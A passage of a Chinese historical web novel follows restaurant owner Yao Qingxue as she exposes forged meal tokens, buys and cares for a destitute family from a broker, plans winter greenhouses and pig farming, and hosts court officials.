没占到便宜,真牌子还拿不回来,那人不依不饶,“我花了那么多银子在你们店里,不兑现承诺也就罢了,如今还要没收我的东西,你们讲不讲道理?” 男人故意说的很大声,原本嘈杂的大堂瞬间安静下来,食客们眼里放着光,边吃边往这边看。 “你的东西?哪个是你的东西?”姚轻雪冷笑,“木牌是饕餮楼赠送给客人的谢礼,本就是饕餮楼的东西。而且你拿着仿制的木牌来本店换菜,此举与敲诈勒索无异,既然客观执意如此,咱们去衙门吧。若这三块牌子都是真的,饕餮楼我送给你。” “饕餮楼就是黑店,再也不来这了。”那人放下狠话,转身疾步离开。 “唉吆,还真是假的啊。”有人惊呼。店家都说把饕餮楼送他了,这要是真的必定不能走啊。 又有客人问:“老板娘,你这牌子有什么讲究吗?怎么一眼就看出假的?” 姚轻雪一笑:“这是本店的秘密,即便客观您英俊潇洒也是不能说的哦。” “哈哈!老板娘有眼光。”那人大笑,“我娘子就是被我这副皮相迷住的。” 他这话惹得店内的男人们一阵大笑。 这时徐成从楼上下来,“东家,就这么把他放走吗?”他刚在楼上招呼客人,然后就听店里伙计说了楼下的事。 “得饶人处且饶人吧。”若是做得太过,碰上心胸狭窄、睚眦必报的,总是防不胜防。 店里没她什么事姚轻雪打算离开,她不经意扫了一眼,不期然与一双眼睛对上。宋筠嘴角勾着淡淡的笑看着她。 姚轻雪微微颔首,回头跟徐管事交代两句,便带着韩莺出了店。她站在路边等曹叔赶车过来。就听身后有人道:“恭喜你,得偿所愿。” 姚轻雪回头,宋筠站在她身后。她笑道:“所愿皆所得,你我皆是幸运之人,恭喜宋公子高中探花。” “能与你相识,宋某深感荣幸。”宋筠笑了笑,“不知姚老板还认不认我这个朋友?” 姚轻雪一愣,而后粲然一笑,“我从来没有不认,是姚某高攀不上宋大人了。”听韩泽说宋筠在皇帝身边做事,前途不可限量。他俩有时在宫里就能碰见。 宋筠暗自叹气,他从来没觉得她高攀。既然遗憾已成,执着于过去没有任何意义。“下次若是订不到饕餮楼的位置,麻烦姚老板看在相交一场的份上给宋某开个后门。” “好说,下次过来前派人告诉我一声便是。” “那便谢过韩少夫人。”宋筠含笑拱手,“我与韩大人同朝为官,今后我们两家多走动。” 姚轻雪颔首:“一定!” 待人离开后,韩莺凑过来问:“他是今年探花郎?你们怎么会认识?我哥知道吗?” 她这副替哥哥捉奸的模样,让姚轻雪翻了个白眼,“你哥知道,曹叔也知道。” 曹叔:“宋筠宋公子以前住在太平巷,跟大少爷是邻居。” “原来是这样。”韩莺探出身子往宋筠离开的方向看去。 姚轻雪把她拽过来推上马车,吩咐曹叔去牙行。坐进马车后她严肃道:“宋筠不适合你,不要对他有任何想法。” “为什么?”韩莺不服气。 姚轻雪叹气,“你哥是不会同意的,你也不是她喜欢的类型。” “你怎知他不喜欢我这样的?还有我哥为什么不同意?” 姚轻雪张了张嘴,不知该怎么跟她说。宋筠儒雅俊朗,韩莺对他心动完全可以理解,以韩家的家世配得上宋筠这个探花,若是他俩没有相识,以韩泽和宋筠的关系,两家说不定真能成就一番好事。 见她久久不语,韩莺眯了眯眼,突然问:“他是不是喜欢你?” 姚轻雪:“……”她理了理衣服,手指轻轻碰了碰自己的脸颊,“我这么优秀有人喜欢很奇怪吗?要不是你哥近水楼台,我不一定做你嫂子呢。” “哼,宋筠能跟我哥比?”韩莺抱着胳膊,“我警告你,都嫁给我哥了就不准三心二意。” “你哥都不担心,你跟着瞎操什么心。”姚轻雪笑道,“都是过去的事了,我并没有好到让他念念不忘,这点你大可放心。” “我信你。”韩莺板着脸道,“你也不要 多想,他是探花我才多看两眼的。“她的男人只能一心一意喜欢她。 第97章 第97章买人 从饕餮楼出来,姚轻雪去了李通所在的牙行。听说她要给姚家二老买仆人,李通也是很高兴。李通感激姚福,当年若不是他接济年少的他,或许也就没有现在了。姚家老两口过得好,他也跟着高兴。李通问有什么要求。 姚轻雪:“要一个十岁左右的丫头照顾芽芽,再要两个力气大的帮爷爷奶奶做卤味和收拾家务,旁的没什么要求。” “正好昨日刚从城外来了一批货,叔带你看看。”李通将人领去后院,那里有一座大通房,里面的用木头隔成的笼子里装着牙行用来买卖的人,也就是李通口中的货。 上次买厨子姚轻雪来过一次,她对把人像牲口一样关在笼子里非常不适,但也明白这就是这些人的命。韩莺应该没来过,娇养的大小姐就别见这些了。“莺莺,里面不干净,你在外面等我吧。” “不,母亲说要我跟着你,你去哪儿我就去哪儿。”韩莺第一次来牙行,对里面的人很是好奇。 “好吧。”姚轻雪无奈,她拿出帕子将脸蒙住,让韩莺也照做。 李通吩咐看守把门打开,关在笼子里的人瞬间齐刷刷看过来。这些人眼神说不上好。韩莺没见过这种场面,吓得躲到姚轻雪身后。 “若是不喜欢就待在外面。”姚轻雪道。 韩莺:“无事,我跟着你。” 李通走在前面,姚轻雪、韩莺和几个丫鬟走在后面。管事领人进来便是挑人,笼子里的人都站起身走到前面,尽量让买家看清自己。男人、女人、半大孩子,都是一脸期待地看向姚轻雪一行人。 一年轻女子挤到木栏前:“夫人买我吧,我什么都会做,很会伺候人的。” 姚轻雪看向前面。李通微微摇了下头,她便从女子面前走了过去。 李通低声道:“这女人是被主子卖出来的,最好不要买。” 没有过错主家一般不会无缘无故发卖奴仆,除非是养不起或是恶主欺奴。这两种情况还好,若是奴仆本身有问题买回去很可能就是麻烦,毕竟人的本性难改。姚家都是老实人,可不能要心机重的奴仆。 最后一个笼子关着三个人,见姚轻雪过来,里面的小姑娘快速跑过来:“夫人买了我们吧,我爹快要病死了,求求你救救我爹,我这辈子给你做牛做马。” 姚轻雪低头,面黄肌瘦的小丫头两手抓着木栏,她看上去跟芽芽差不多大,但却瘦得可怜。 “桃花!”衣衫破烂的妇人过来抱住小姑娘,眼神怯怯地看着笼子外面的人。 里面地上躺着个男人,大概就是小姑娘的爹。那人眉毛粗犷、五官端正,面相看着可以,但很瘦,脸颊都凹下去了,嘴唇干裂的脱皮。男人气虚微弱,面颊泛红,看样子是发热了。 “这家三口从北边来的,今年北方遭了旱灾,没有粮食冬天活不下去,不得已自卖为奴。那男人来时就病着,郎中说吃药得五六两银子,掌柜的嫌贵便就这么放着。”李通看着这家人也是心里不忍,但他做这行,这样的人见得太多了,他帮不过来。 李通:“这家人做惯了农活,有把子力气,帮姚叔干活倒也合适,不过那男人不知道挺不挺得过去。万一买回去死了,银子就瞎了。” 若是男人身体好,李通建议姚轻雪买下这家人。把全家卖身契攥在手里,不怕他们不服管教。另外这小丫头年纪不大,至少五六年不用考虑旁的。若是买单个男女,还得考虑他们的婚事。 “挺得过去、挺得过去。”女人焦急道,“我男人就是受了冻,喝些热水就好了,不信您瞧。”女人走到男人身边,使出浑身力气把丈夫的上半身抬起来。“您瞧他能动,过几天就好了,我男人撑得住。” 妇人的声音在颤抖,想来她自己都不知道丈夫能不能挺得过去。 “夫人,求求你了。”小丫头跪在地上不停地磕头。 姚轻雪动了恻隐之心,“李叔,这人的药钱我出,先让他把病治好。”五六两银子于她而言不算什么,这是一条人命,至于买不买再说。 妇人领着女儿跪在地上磕头,李通去门外让人去找郎中。房里走了一个来回,合适的人不少,但买回去不是一家的两个女人和一个男人,怕是不妥,倒不如那一家子合适。 李通也道:“索性银子都花了,就等那男人病好吧。” 姚轻雪便留下十两银子给那人看病。 “你和姚叔姚婶一样心善,好人有好报。”李通接过银子,“等那家男人病好,我去饕餮楼找你,到时给叔找个位子。你店里的锅子好,就是订不到位子。” 开业那日李通带人去给姚轻雪捧场,到那一看人满为患,压根就不用他们凑数。吃过饕餮楼的饭菜后同僚们都赞不绝口。这几天有人想去吃锅子,但却订不到位子。 “您带婶子一起过去,位子我来安排。” 李通满脸堆笑:“就这么说定了,三五日我便过去。” 等姚轻雪走后,去找郎中的人也回来了,郎中把脉开药,母女俩给李通磕头。 “用不着谢我,要谢就谢我那侄女,碰上这样的主家是你们的福气,让你男人快些好起来。若是死了,她可是不要的。” “我爹一定会好起来。”小姑娘抹了一把眼泪坚定地说道。 男人迷迷糊糊地点头,他不能死,死了晦气,人家也不会要他的妻女,要活下来。 马车里,韩莺抿着嘴不说话。姚轻雪问她:“吓着了?” 韩莺摇了摇头,韩府下人都是管家去买的,她没见过他们进韩家之前是什么样子。竟然像猪狗一般关在笼子里,价钱不值一匹马,这让她很吃惊。 “见见就罢了,你今后大概用不着为这些事操心。”韩莺未来的夫家地位定然不会差,她用不着亲自做这些事。 其实她也不用亲自跑一趟,单事关爷爷奶奶和芽芽,她得亲自看一眼才放心。 回到韩家吃过午膳,姚轻雪让曹叔去安定庄把村长和李贵找来,她想解决饕餮楼冬日菜的问题。然后回到房间开始写写画画。 前世听过关于建温室大棚的内容。她记得其中几个要点,一个是坐北朝南偏西一点,这样阳光照射的时间最长,后墙高在两米左右。这样有助于更好地利用光照和保持内部温度。还有就是不要建在风口上。 韩家的暖棚姚轻雪去过,并未达到这样的标准,地方也不够大,可以满足韩家几口人冬日蔬菜需求,饕餮楼建那样的暖棚是远远不够的。她把知道 的都写下来,还画了暖棚的草图。 从下午直到天黑,姚轻雪总算拿出让自己满意的暖棚建造计划。有了她的知识,再加上村长和李贵等人的经验,暖棚基本不会有大问题。 姚轻雪伸了个懒腰,心情很是不错。韩家有的是田,建几个大号暖棚也不怕浪费土地。 “你这是暖房?” 背后突然传来声音,姚轻雪一惊从椅子上窜起来。 韩泽赶紧出声:“是我。” “你何时回来的?”姚轻雪拍拍心口,“不要在人背后突然说话啊,很吓人的。” “回来有一会儿了,你都不肯抬头看我一眼。”韩泽拿起桌上的几页纸,“建这么大暖房你打算用什么做顶?若是像庄子上用窗户,这个太宽了,怕是支撑不住。还有这墙是不是太高了?” “这个不应该叫暖房,该叫暖棚。”姚轻雪道,“我打算用砖砌墙,高些可以很好地保持内部温度,暖房内用木桩支撑,承重不是问题,另外我打算用油布做顶,防水防风,透光性也好……”姚轻雪把她的想法说出来。 韩泽不错眼地看着她,姚轻雪说完他仍旧定定地看着人。姚轻雪被他看得心里发毛:“怎么了?哪里不妥吗?要是觉得哪里不合适可以告诉我。” “不是。”韩泽摇摇头,“我在想你为何懂这么多?”明明在京城长大,却对种田的事懂很多。 姚轻雪一怔,而后讪笑,“琢磨呗,你不是也看见了,我琢磨事时非常投入,你回来我都没发现,凡事多琢磨自然就知道的多。哎呀,忙了一下午,脑子有点沉,我要活动活动,晚上想吃什么,我亲自下厨。” 韩泽知道她在转移话题,但并未指出。“什么都可以,你做的我都喜欢。” 这话倒也不假,韩家不缺上好的食材,只是做法乏善可陈,但交到他媳妇手里,做什么他都喜欢吃,所以挑食并非是他的问题,而是厨子手艺不行。 姚轻雪并不知道韩大人将挑食的毛病推给厨子,她抱住韩泽的腰在他嘴上啄了一下。“韩大人越来越会说话了,我喜欢,等着,我去给你做。” 她刚转身,韩泽扯着她的胳膊又把人拉进怀里。 “做什、”姚轻雪的话被男人堵在嘴里。 韩泽的手在她背上游走,眼看要一发不可收拾,姚轻雪及时把人推开。“我去做饭。”说完她提着裙摆跑走了。 韩泽眯眼:先吃饭,晚上再吃她。 第98章 第98章计划 姚轻雪在东院的小厨房忙了小半个时辰,饭菜刚做好,曹叔就把安定庄的村长和庄子管事李贵接回来了。天大的事也得吃完饭再说,她让人把菜分出一分部。 曹叔与二人熟悉,便留下来一起用饭。村长夹了块水煮肉放进嘴里,接着吃口辣豆腐,很快头上开始冒汗。“海外来的东西竟能做这么多种吃法,祛寒暖身的好东西啊。” 辣椒晒完、收了种子后就全都送到将军府了,村长和村民压根没吃过,只听说在饕餮楼很受欢迎。 倒是李贵有幸尝过几次姚轻雪的手艺。“的确是好东西,少夫人说明年种子分给大家一些,村里人都能吃上。”辣椒青的时候他也吃过,用它炒肉炒蛋滋味很好,百吃不厌。若是家家户户都种,饭桌上就能多添几道菜。 “少夫人是难得的好人。”村长感慨,“今年村里卖鸭子鸭蛋都赚了不少,饕餮楼从来不拖欠银子,价钱也给的公道。” 曹叔:“少夫人找你们来商议暖房之事,她要建的暖房数量不会少,建好后冬天不出村就能赚到钱,都好好干,少夫人亏待不了大家。我听说有人去村里打听辣椒了?” “确有此事,那人想用五百两买一斤辣椒种,若是告诉他种法,就再给五百两。”村长放下筷子,一脸严肃:“将军府对安定庄有恩,少夫人又带大家赚银子,安定庄没有忘恩负义之人,种子一粒都没有流出去。” “好!”曹叔点头,“安定庄后头还有大钱赚,管好村里人,切莫因小失大。” 村长郑重道:“只要我活着,就不会让这种事发生。”当初村里的老一辈从战场上下来,身有残缺家人嫌弃,是韩将军给了他们容身之处,佃租也收的少。多方帮扶才有如今的安定庄,谁敢背信弃义,他第一个不答应。 正房这边,韩泽吃得异常满足。虽说菜谱都教给了家里的厨子,但厨子做出来的总是差了点儿。媳妇做的味道则刚刚好,就比如这道水煮肉,肉片滑嫩不柴不腥,他吃了一大碗。 放下碗筷,韩泽想起上司交代的任务。“陆大人想宴客,饕餮楼哪天有位子?” “随时都有,哪日去告诉我,包房给他留着。” “包房不是都订出去了吗?”韩泽不解。 “留了一间不外订。” 京城权贵扎堆,有些人来就是饕餮楼的活招牌,断不能往外推,于是就留出一间包房以备不时之需。 饭后休息了会儿,姚轻雪拿上一下午的成果去书房。韩家暖房是李贵负责建造和打理,建暖房他并不陌生。现在要建更大的,虽然没做过,但少夫人画的图看上去十分可行。“这个建好冬天能种不少菜。” 看了图上标注的尺寸,村长不免有些担忧:“怕是得花不少银子吧。”均摊下来,一斤菜得多少银子啊? “暖棚并非只用一年,以后每年冬天都可以用。京城有钱人比想象的多,花出去的都能赚回来。”姚轻雪并不担心成本过高。对有钱人来说,多花几百文点盘青菜并不是问题。“暖棚建起来不种别的,就种菠菜、香菜和小葱。” 吃锅子这三种消耗最大,菠菜也是火锅最受欢迎的菜品之一。而且菠菜长得快、好种好活,暖棚里种它最划算。萝卜白菜山药等冬天菜市上也买得到,并不需要在暖棚里种。 另外姚轻雪打算增加几种豆制品,以弥补冬日青菜不足的问题。推陈出新食客们才会日日想着饕餮楼。 三人在书房聊着,韩泽洗完澡在床上摆好姿势,左等右等就是不见媳妇回来,他只好去书房找人。走到门口就听村长激动地说:“我回去就召集人手,山里石头多,和在泥里筑墙不比砖差,等房子建好今年冬天就能把猪养起来。” 韩泽:“……”不是商议建暖房吗?怎么说起养猪了? 李贵:“按照少夫人这个养法,猪长得快,肉质也定然和以往不同。” 盖房子给猪住,还得生炉子让猪住得暖和。不能喂泔水,谷糠还得煮熟了喂,灾荒年头的人都没有少夫人养的猪吃得好。 村长还有别的担忧:“谷糠家家都有,但养鸭子要喂一部分,再养猪怕是不够了,冬天也没有青草野菜,喂粮食不划算啊。” 姚轻雪:“谷糠不够就去外面买,地里的花生藤、豆秸秆、青草都弄回来,这些东西发酵后是很好的猪饲料。粮食也要喂,否则不长肉也长不快。” 村长:“冬天温度低,发酵怕是不行吧。”庄子上也沤肥,但都在天气暖和时。 “行,用缸装密封,放屋里多烧火,加石膏、草木灰可以加速发酵。” 前世乡下老家就有人这么沤饲料喂牛,小时候跟那家孩子玩得好,去他家时觉得有趣总蹲旁边看,没想到竟然用上了。上辈子曾因出身感到过自卑,现在看幸好她来自农村,不然就只会做菜了。 “石膏?是什么东西?”李贵没听过。 姚轻雪一拍脑门,“明日我去找找,找到了告诉你们。” 门外的韩泽眸子暗了暗,他并未进去打扰,而是转身离开。 巳时姚轻雪才回到卧房,见韩泽两手枕在后脑躺在床上一动不动,她蹑手蹑脚走到床边,一个飞扑趴到男人身上。 “谈完了?” “嗯。”姚轻雪下巴抵在男人胸膛上,“村长和李叔明早回去,我打算过两天去一趟庄子。”有些环节他们不一定很明白,她得亲自盯着才放心。 “我陪你。” “用不着,你又不休沐。”姚轻雪的指尖在他胸口画圈,“庄子我都去几次了,以后也会常去,不能次次都要你告假,有曹叔在呢,你不用担心。” 娇嫩的指尖隔着里衣在皮肤上划来划去,韩泽感到她划过的地方像是着了火,抓住她的手指,翻身把人压在身下。“故意的是不是?” 身下的人“咯咯”笑,然后两手在男人腋下一阵抓挠。韩泽没忍住痒从她身上翻下去。姚轻雪跳下床,在韩大人脸颊上轻轻拍了拍。“别急,先去洗澡 。” “你快去。”韩泽往外推她,“我洗好了。” 姚轻雪忍笑,坏心道:“啊呀,才想起来我还有事,你先睡吧。” 韩泽哪里能让她逃掉,两人嬉闹一番,而后一夜好眠。 次日村长和李贵先回庄子上做准备。姚轻雪则在外面跑了一天。定了一种透光性好的油布,从药铺找到了生石膏和生石灰。每种都买了一些打算带到庄子上,亲自示范发酵饲料给村民,然后再让他们自己练习。只要饲料解决了,冬天大规模养猪便不是问题,养羊养牛都可以。 原本打算第二天去庄子,但陆大人明日来饕餮楼,姚轻雪便把时间往后推。这日午时饕餮楼后厨出了点问题,姚轻雪让韩莺在前面等着,若是陆大人过来她接待一下。 “放心,陆大人我认得,我会招待好,你去忙吧。”这两日她跟姚轻雪跑来跑去,和陌生人打交道,她嫂子说话做事从来不怯,面对咄咄逼人言辞不敬的主顾也丝毫没有惧色,这让韩莺大开眼界。 姚轻雪若是像一般女人扭扭捏捏,见了男人就只会低头,是不可能把饕餮楼开起来的。或许他大哥也不会喜欢上她。韩莺觉得在饕餮楼忙碌时的姚轻雪很特别,至于哪里特别她说不清楚,就是让人移不开眼,也让她很羡慕。自问她做不到像嫂子一样,但学她几分还是可以的。 饕餮楼门外,大理寺卿陆方与户部侍郎乔大人下了马车,陆方欠乔侍郎一个人情,说好了请他吃饭。这要是以前请客非万福楼莫属,但现在饕餮楼炙手可热,人人趋之若鹜,最大最豪华的万福楼也处于下风。 乔侍郎看着饕餮楼的门楼道:“换了东家后第一次来,和以前不同了。” 陆方道:“那是自然,你瞧瞧这门前的车马,若不是有韩少卿这层关系,这顿饭怕是得等到下月了。全京城数得上名号的酒楼只有一位女东家,就是韩少卿的夫人。” “本官也略有耳闻,韩少卿的新婚妻子甚是能干,不然陛下也不会把这楼给她。有妻如此夫复何求,韩少卿好福气。”乔侍郎笑眯眯道:“本官能否也拜托韩少卿订个位子,族中长辈从老家过来,不日便将回去,好不容易来一趟总得让他们尝尝京城的特色。” 被陆方拉过来陪客的韩泽拱手:“大人客气了,等会儿下官便告知内子,您哪日过来提前一日来店里说一下即可。大人里面请。” “多谢!”乔侍郎道完谢,抬手向前:“陆大人请!” 韩泽与陪同乔侍郎一起来的年轻人走在后面。韩莺看见大哥眼睛一亮,随后看见陆方和另外两个不认识的人,她理了理衣服,然后面带微笑地迎过去。“陆大人!” 第99章 第99章暖棚 “莺莺也在啊,你也过来吃饭?”陆方和韩振有交情,韩家几个孩子他都认识。 “我过来帮长嫂,酒楼事情多,她一人忙不过来。” “原来如此。”陆方点头,然后指着身边的人道:“这位是乔侍郎。乔大人这位是韩将军的爱女,也是韩少卿的妹妹韩莺。” “姑嫂都这般能干。”乔侍郎夸赞道。 “大人谬赞了,请几位大人去楼上雅座。”韩莺在前头领路,把人带去楼上名为富贵花开的包房。 韩泽看了看妹妹,莺莺跟着媳妇他知道,但这才几天,就帮上忙了?在家里茶杯倒了都不扶一下的人,她能干什么?能帮什么忙?韩大人对妹妹表示深深的怀疑。 包房内已经摆好瓜果糕点,韩莺将一本很大很厚的册子放到陆方和乔侍郎面前。“这是本店的菜谱,两位大人看看想吃什么。” 乔侍郎翻开册子,“竟然有图?水煮鱼做出来就是这个样子吗?” 韩莺颔首:“会有些微区别,大体就是图上的样子。” “嘶,水煮鱼难道不是用水煮出来的鱼吗?为何这么红?”陆方瞧着画册上的鱼不明所以。 “等菜上来您就知道了。”韩莺故意卖了个关子。 点了几个菜,韩莺低声吩咐伙计先让厨子做着。陆方和乔侍郎把菜谱从头看到尾,在韩泽的推荐下又点了几道,鸳鸯锅自然没有落下。 点完了才后知后觉,乔侍郎道:“这么多能吃完吗?” “放心,有他俩在,浪费不了,年轻人胃口好。”陆方指了指韩泽和乔侍郎带过来的年轻人。 韩泽不置可否,另外一位年轻人玩笑道:“为了吃这顿,我可是早膳都没用。” 韩莺笑道:“公子明智,本店饭菜包您满意。” 陆大人:“对了,这位是户部的司马员外郎。” 司马澹起身拱手:“见过韩小姐!” “司马大人!”韩莺颔首,随后转向主位,“知道几位大人今日过来,长嫂特地准备了三十年陈酿,这我就叫人送上来。” “好菜配好酒。”陆方道,“乔大人,今日不醉不归。” 韩莺退出包间,关上房门转身后她拍了拍心口,刚刚好紧张,还好她没有出错。 “小姐,你好厉害,不比少夫人差。”韩莺的丫鬟道。 “嘘!”韩莺指了指身后,“走吧,让厨房先做这间的。” 等姚轻雪忙完,陆方他们吃到一半了,她进去打了招呼。四个人有三人嘴巴红红,只有不认识的年轻人吃着清汤锅里的羊肉,碗中的菜大多是不辣的,看来这人不能吃辣。 寒暄几句姚轻雪便借故离开,她让伙计送去一壶温牛奶给他们解辣。 乔侍郎喝了口牛奶,顿觉口中没那么烧了。“竟然这般神奇,饕餮楼的奇思妙招还真多。” 陆方:“当初姚厨娘在街边卖吃食,我便觉得她不是一般人,事实也正是如此,这才多久就让口碑崩塌的酒楼日进斗金。” 乔侍郎看向韩泽:“夫人这么能干,韩少卿可有惧内?” 韩泽放下筷子,一本正经道:“内子是饕餮楼的东家也是我韩泽的妻,怕我薪俸不够,她每月会额外给下官零用,晚上回家也会亲自下厨为我准备饭菜,这等贤惠的妻子何惧之有?” 乔侍郎大笑:“韩少卿好福气好眼光。” 陆方:“要说最有眼光的人当属陛下。” “不错,若不是陛下让她做了这间酒楼的主子,我们今日也吃不到这等美味。”乔侍郎举起酒杯,“陆大人我敬你一杯。” 两人推杯换盏,韩泽和司马澹负责照顾两位上司便没碰酒,他俩闷头吃,一桌子菜让这俩人吃了大半。最后实在吃不下才放下筷子。 “两位大人慢用,我下去看看。”韩泽不想陪他俩寒暄,打算下楼找媳妇。 “去吧去吧,找你媳妇去吧。”陆大人挥挥手,“咱们喝咱们的。” 乔侍郎道:“对对,司马啊,你若无聊也出去玩吧。” 于是司马澹和韩泽一起走出包房。“司马大人似乎不大能吃辣。”韩泽问道。 “之前未曾吃过这个味道,有些不大适应。”司马澹笑道,“菜品非常不错,今日陪乔大人过来,是来对了。韩少卿的夫人着实厉害。” “那是自然,如今京城的酒楼都比不过饕餮楼。”韩泽一脸骄傲。有人夸他媳妇比夸他自己都高兴。 司马澹但笑不语,他要是有这么能干的妻子也会很骄傲吧。 一楼大堂全是人,有人要加菜,有人要加炭,还有人要加汤,伙计忙得团 团转。姚轻雪和韩莺指挥伙计快速收拾碗筷,撤完桌后马上有新客人坐下。 “乱中有序。”司马澹看了一会儿,给出这样的评价。 “背后都做了不少功夫。”韩泽淡淡道。媳妇给伙计们培训他赶上过两次,细节做的非常到位,甚至把可能出现的意外都考虑在内。 司马澹的目光随着那抹粉色身影移动,与长嫂相比,她脸上稚气未脱,言行间还露出几分羞涩,但她努力装认真的模样,还挺可爱。 次日姚轻雪要去庄子上,韩莺要跟着,她没让:“我得住上两三日,你去不合适,再说种田养猪你也不懂。” 一听说养猪,韩莺便打消了跟去的念头。“你还要养猪?乡下猪那么多,干嘛要自己养啊?” “你为何不喜欢吃猪肉?”姚轻雪问她。 韩莺想了想,“不好吃,味儿重。不过你做的就好多了,几乎吃不出味道。” “我养出来的猪就不会有那重的腥味。”姚轻雪道,“行了,你在家待着,你去了我还得照顾你。” “我哪里用你照顾,我都能帮你做事了。”韩莺嘟囔。 姚轻雪心想,就你做那点事也好意思说帮忙。她走上马车,然后想起什么回头问:“你想打理铺子吗?” “咱家的铺子有母亲管着,根本用不到我。” “用不到你就自己开一家。饕餮楼的糕点你都吃过,觉得怎么样?”姚轻雪问。 韩莺:“自然是好的,有些京城独一份,而且我听说有糕点铺想做却做不出来。” “你若想开糕点铺子,饕餮楼的糕点方子都可以给你,你回去跟母亲商量一下。”说完姚轻雪撩开帘子坐进马车。 韩莺一时没反应过来,什么意思?她是想把饕餮楼糕点的方子都给她吗?那些都是很珍贵的方子吧?给她?为什么?马车走到大门口韩莺喊道:“什么意思啊?你说清楚。” 姚轻雪没理她,这事成不成得看韩母,韩母若是想让韩莺开店自然会张罗。糕点在饕餮楼只能算点缀。糕点油腻,吃多了就吃不下正餐,大多数人吃完饭才带些回家。 她脑中的糕点还有很多种,饕餮楼不可能再增加品种了,她自己也没有精力再开别的铺子。韩莺若是有这个意愿,让她做也无妨。 姚轻雪来到安定庄,远远就听见村外人声嘈杂。村长和李贵已把暖棚和猪圈的位置选好了。暖棚建在一处平地,北面有山阻挡,北风吹到这里,风势减弱很多。猪圈则建在村后山下。 地点都没有问题,接下来便是破土动工,天气一天比一天冷,得在霜冻来临前把暖棚和猪圈建好。其实暖棚现在才开始建有些晚了,但也没办法,谁让姚轻雪现在才想起来呢。 眼看着暖棚的青砖一层层垒起来,猪圈也起了地基。该嘱咐的都嘱咐了,该教的姚轻雪都教了,剩下的就看村长他们了。 她在庄子上住了三天才回京。韩母见她灰头土脸,心疼道:“怎么把自己弄这么狼狈,想干什么吩咐人做就是,哪里用得着你亲自上阵。” “山野风尘大,在庄上不方便洗澡,等我洗洗,母亲您就又看见美美的儿媳了。” “贫嘴。”韩母笑道,“快去洗洗吧,再不回来,你男人就去接你了。” 等姚轻雪梳洗完回到房间,见韩莺百无聊赖地坐在她房内,“就这么想我?才回来你就巴巴地过来看我。” “哼,谁想你了。”韩莺白她一眼,“我来是告诉你,我已经将人送去你奶奶家了,我也去了,该守的规矩,我都让人跟那一家三口说了。对了,李通说卖身契放在你手里比较好。” 姚轻雪看了眼桌上三张卖身契,“那个男人病好了?” “用的好药很快就缓过来了,就是人还不大有精神,估计得养几日才能干活。” 姚轻雪坐到铜镜前:“这倒不怕,家里卤味多,让他们多吃肉很快就能补回来。”每日卤味都有些边角或是卖相不好的,自家人都吃腻了。 “谢谢,银子给了吗?” “给了。”韩莺点头,“徐管事得了你的吩咐给李通和他家人安排到包间,也免了饭钱,我瞧你那叔叔婶婶很高兴。” “高兴就好。”姚轻雪低头擦着头发,“李叔帮我不少,早前要不是他帮忙介绍厨娘的活计,我也遇不上你哥。” 第100章 第100章回家 “说说你和我哥呗。”韩莺来了兴致,“母亲让他相亲,我哥能躲就躲,有姑娘主动找他,但我大哥都不感兴趣。我很好奇你到底用了什么办法,把我那不知情不知趣的大哥给迷住了。” “你不是都知道嘛。”她与韩泽之间的事韩家人都知情。 “知道的不细啊,你何时对我大哥动的心?”韩莺一脸好奇,“你们又是怎么相处的?嫂子!说说嘛,外人我不好意思问。” 姚轻雪抬头看她:“母亲给你选好人家了?” “没有,我就是好奇。”韩莺别开眼。 姚轻雪想了想,她与韩泽开始时互相利用,后来不知不觉中就动了情。具体是什么时候动心,她自己也说不清楚。 韩莺正在相看人家,是该多了解一些男女之间的事。韩莺那几个手帕交怕是跟她一样,养在深闺没接触过这种事。于是姚轻雪便详细跟她说了。 “这么离谱?”韩莺简直不敢相信,聪明的大哥竟然会做出这么荒唐的事。 姚轻雪不置可否,不止是离谱,还很曲折,没有韩泽,她怕活不到今天。没有她,韩泽拿不到图也找不到火器。她俩算是互相成全吧。 “天作之合!”韩莺还想再问,房门被推开,韩泽一身寒气走进来。看见妹妹在房内,他张嘴便道:“你怎么在这?” 韩莺一愣,“我怎么不能在这?” 韩泽板着脸:“年纪不小了,别总往别人卧房跑。” “别人?你是别人?”韩莺目瞪口呆,母亲说的真对,男人娶了媳妇,跟家里人就不亲了,她这个亲妹妹都成外人了。 韩莺气呼呼起身、双手叉腰,想跟他哥理论理论,但对上她大哥冷冷的眼神,韩大小姐的气焰瞬间消了,她灰溜溜地走了。 姚轻雪:“你赶她做什么,她这么大了,等定了亲在家里的日子就少了。” “多大都是我妹妹。”韩泽去屏风后换衣服,“母亲看好的几个人,查后没一个好的。”京城百官只要他想查,身上几个痦子他都能查得一清二楚。 那几个官家子弟平日装的洁身自好、谦谦君子,内里龌龊下流。不是屋里有丫鬟暖床,就是外面眠花宿柳,人品可见一斑。放在别人家或许不是大事,但韩家的姑娘绝对不会嫁与这种人。 姚轻雪深以为然,虽然大多数富贵人家的男人都有妻有妾,甚至有外室,韩振除了韩母也有芸姨娘,但若不加约束毫无原则和底线,此人定不可靠。“莺莺还小,不着急。” 韩泽走过来从身后搂住她,“庄子上的事都做完了?” 姚轻雪抓住韩泽的胳膊,“都吩咐下去了,有村长和李叔盯着呢。”她仰起头嘟着嘴看着男人:“想你了,做不完我也要回来。” 韩泽明知她在哄自己,但心里很受用。当即用事实证明他也很想她。 次日,姚轻雪睡到日上三竿才起来。吃了点东西后去了饕餮楼。待到午后便回了葫芦巷。买回来的一家三口见到她恭恭敬敬叫:“少夫人!” 来到姚家才知道主子竟是将军府的少夫人,买他们是为了伺候爷爷奶奶和妹妹。这两日姚家二老和小姐对他们很好。顿顿有肉吃,还给他们做了新衣服。 以前听说在大户人家当下人都战战兢兢,一旦犯错轻则打骂重则发卖。本来刘达一家已经做好了忍骂挨打,哪成想碰上了好人家。 在老家时,他们一年也没吃过几顿肉,衣服也是补丁叠着补丁。如今卖身竟然过上了好日子,三口人都跟做梦一样。 刘达跪在姚轻雪面前磕头:“多谢少夫人救我,从今往后我们三口的命就是您的。”见丈夫跪下,李氏牵着女儿也跪下来。 “都起来,咱家没有动不动就跪的规矩。”姚轻雪对刘达道,“你年长我许多,便叫你刘叔吧。我时常不在家,姚家今后就拜托你了。” “少夫人放心。”刘达一脸凝重,“我定会照顾好老爷夫人和小姐。” “好,只要你们做得好,将来二老作古,我便把卖身契还给你们。” “真的?”李氏惊喜。她和丈夫这辈子就这样了,为奴就为奴吧,但他们不想女儿和她的孩子世世代代做奴才。 “自然是真的,你们放心。我不缺这点卖身银子,我只求你们照顾好爷爷奶奶和妹妹。刘叔每月一两月钱,婶子八百文,桃花就五百文吧。等桃花到了出嫁的年纪,可先放了她的奴籍。” 